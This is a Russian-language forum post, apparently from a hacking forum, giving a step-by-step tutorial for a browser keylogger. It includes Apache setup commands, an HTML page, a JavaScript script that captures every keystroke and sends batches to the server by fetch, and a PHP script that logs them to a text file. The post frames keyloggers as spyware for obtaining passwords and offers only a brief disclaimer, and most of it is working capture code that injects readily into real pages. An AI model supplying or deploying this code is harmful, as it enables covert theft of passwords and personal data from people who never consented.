Как написать простой кейлоггер на Javascript и PHP

rootty

Active member
Пользователь
Регистрация
1 Фев 2025
Сообщения
28
Реакции
4

Как написать кейлоггер на Javascript и PHP​

Кейлоггер (или регистратор нажатий клавиш) — это тип шпионского ПО, которое отслеживает и записывает набранные на компьютере или мобильном телефоне символы. Обычно его целью является получение доступа к личной информации пользователя, такой как пароли и другие личные данные.

Кейлоггинг является незаконным, если он установлен без разрешения владельца устройства и для получения доступа к его личной информации. Поэтому используйте эту информацию для расширения своих знаний, а не для совершения вредоносных атак.

Установка Apache​

Во-первых, для размещения базовой HTML-страницы нужен веб-сервер. Если в вашей системе Linux не установлен веб-сервер Apache, воспользуйтесь следующей командой:

Bash:
apt install apache2

Затем смените каталог на место расположения веб-сервера Apache.

Bash:
cd /var/www/html

Это место, куда я помещу файлы веб-сайта.

Базовая HTML-страница​

На этом этапе создадайте в терминале базовую веб-страницу с помощью какого-нибудь текстового редактора (в моем случае — nano).

Bash:
nano index.html

Добавьте следующий код:

HTML:
<!DOCTYPE html>
<html>
  <head>
    <title>Кейлоггер</title>
    <meta charset="utf-8">
    <style>
      textarea {
        width: 40%;
        height: 200px;
        font-size: 18px;
      }
    </style>
    <script src="keylog.js"></script>
  </head>
  <body>
    <h1>Всё, что вы печатаете, будет записано!</h1>
    <textarea></textarea>
  </body>
</html>

Важные моменты:

Следующий код включает внешний JavaScript-файл с именем keylog.js, который я создам на следующем этапе. Этот скрипт будет отвечать за работу с функцией кейлоггинга:

HTML:
<script src=”keylog.js”></script>

Следующий код создает текстовое поле, в котором пользователь может вводить текст с помощью клавиатуры:

HTML:
<textarea></textarea>

JavaScript кейлоггер keylog.js​

Создайте файл keylog.js с помощью текстового редактора:

Bash:
nano keylog.js

Добавьте следующий код:

JavaScript:
var keylog = {
  // НАСТРОЙКИ
  cache : [],      // временное хранилище для нажатий клавиш
  delay : 1000,    // как часто отправлять данные на сервер
  sending : false, // флаг для разрешения отправки одного пакета за раз
 
  // ИНИЦИАЛИЗАЦИЯ
  init : () => {
    // ЗАХВАТ НАЖАТИЙ КЛАВИШ
    window.addEventListener("keydown", evt => keylog.cache.push(evt.key));
 
    // ОТПРАВКА НАЖАТИЙ КЛАВИШ
    window.setInterval(keylog.send, keylog.delay);
  },
 
  // AJAX
  send : () => { if (!keylog.sending && keylog.cache.length != 0) {
    //  "БЛОКИРОВКА" ДО ОТПРАВКИ ЭТОГО ПАКЕТА НА СЕРВЕР
    keylog.sending = true;
 // ДАННЫЕ О НАЖАТИИ КЛАВИШ
    var data = new FormData();
    data.append("keys", JSON.stringify(keylog.cache));
    keylog.cache = []; // очистить нажатые клавиши
 
    // ОТПРАВКА ПО FETCH
    fetch("keylog.php", { method:"POST", body:data })
    .then(res=>res.text()).then(res => {
      keylog.sending = false; // разблокировка
      console.log(res); // необязательно
    })
    .catch(err => console.error(err));
  }}
};
window.addEventListener("DOMContentLoaded", keylog.init);

Этот код, по сути, создает базовый кейлоггер, который перехватывает нажатия клавиатуры пользователем на веб-странице. Кейлоггер собирает данные нажатия клавиш и отправляет их на сервер.

Собранные данные передаются серверному скрипту keylog.php, который мы создадим на следующем этапе.

Файл захвата keylog.php​

Создайте еще один файл с именем keylog.php.

Bash:
nano keylog.php

И добавьте следующий код:

PHP:
<?php
// (A) ОТКРЫТИЕ ФАЙЛА ЖУРНАЛА КЛАВИШ В РЕЖИМЕ ДОПОЛНЕНИЯ
$file = fopen("keylog.txt", "a+");
 
// (B) СОХРАНЕНИЕ НАЖАТЫХ КЛАВИШ
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }
 
// (C) ЗАКРЫТИЕ ФАЙЛА
fclose($file);
echo "OK";
?>

Это PHP-скрипт, который сохраняет перехваченные нажатия клавиш в текстовый файл под названием keylog.txt, поэтому убедитесь, что вы создали текстовый файл keylog.txt с помощью текстового редактора.
На данный момент в веб-директории Apache ( /var/www/html) должно быть четыре файла. Вы можете использовать команду ls для просмотра списка файлов.

Теперь перезапустите веб-сервер с помощью команды:

Bash:
service apache2 restart

Давайте откроем веб-страницу в браузере, используя мой локальный IP-адрес.



В поле textarea я введу к примеру такой текст This keylogger works! (Этот кейлоггер работает!).

Теперь переключимся на местоположение веб-сервера Apache и откроем файл keylog.txt.

Bash:
nano keylog.txt

Вы должны быть зарегистрированы для просмотра вложений


Как видите, я успешно перехватил нажатия клавиш.

Заключение​

Из этой статье вы узнали, как создать кейлоггер, используя JavaScript и немного PHP.
 
Сверху